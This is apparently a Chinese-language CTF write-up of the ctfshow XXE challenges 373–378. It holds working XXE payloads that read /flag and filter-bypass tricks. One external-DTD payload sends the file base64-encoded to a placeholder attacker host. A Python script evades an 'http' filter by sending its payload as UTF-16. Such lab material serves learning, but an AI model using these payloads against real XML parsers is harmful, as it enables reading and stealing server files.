ctfshow-xxe
从XML相关一步一步到XXE漏洞 - 先知社区 (aliyun.com)
一篇文章带你深入理解漏洞之 XXE 漏洞 - 先知社区 (aliyun.com)
XML外部实体(XXE)注入详解 - 渗透测试中心 - 博客园 (cnblogs.com)
373
<?php
error_reporting(0);
libxml_disable_entity_loader(false); #为TRUE则禁用外部实体
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);利用伪协议php://input获得传入的xml数据
loadXML()接收两个参数:1、包含xml文档的字符串;2、保存libxml选项常量的按位 LIBXML_NOENT: 将 XML 中的实体引用 替换 成对应的值 LIBXML_DTDLOAD: 加载 DOCTYPE 中的 DTD 文件
payload:
<!DOCTYPE payload[
<!ENTITY a SYSTEM "file:///flag">
]>
<na0h>
<ctfshow>&a;</ctfshow>
</na0h>
374、375、376-无回显
<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
无回显,需要把数据外带出来 这里可以用python简单的搭一个静态服务器用于监听
py -m http.server 6666
在服务器构造一个dtd文件
test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % a "<!ENTITY % b SYSTEM 'http://xxx:6666/?x=%file;'>">
%a;
%b;
嵌套的%
需要写成十六进制的%
或者其他进制也行
payload:
<!DOCTYPE hhh [<!ENTITY % c SYSTEM "http://xxx:6666/test.dtd">
%c;
]>
这里实体c调用了外部实体test.dtd,然后调用了其中的参数实体a和b,b调用其中的file
就利用伪协议读到flag了
base64解码即可
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}375、376过滤了XML声明,还是上面的payload就行 想绕过的话在中间多打几个空格也就绕过了
377-utf-16
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
过滤了http,这里改用utf-16编码发包就能绕过了
import requests
url = 'http://d608152d-15f9-468d-a1f4-dfb89bde6d3a.challenge.ctf.show:8080/'
payload = """<!DOCTYPE hhh [<!ENTITY % c SYSTEM "http://xxx:6666/test.dtd">
%c;
]>"""
payload = payload.encode('utf-16')
requests.post(url, data=payload)
看一下utf-8和utf-16的区别
378-python X
这题是python XXE漏洞
构造一下:
<!DOCTYPE payload[
<!ENTITY a SYSTEM "file:///flag">
]>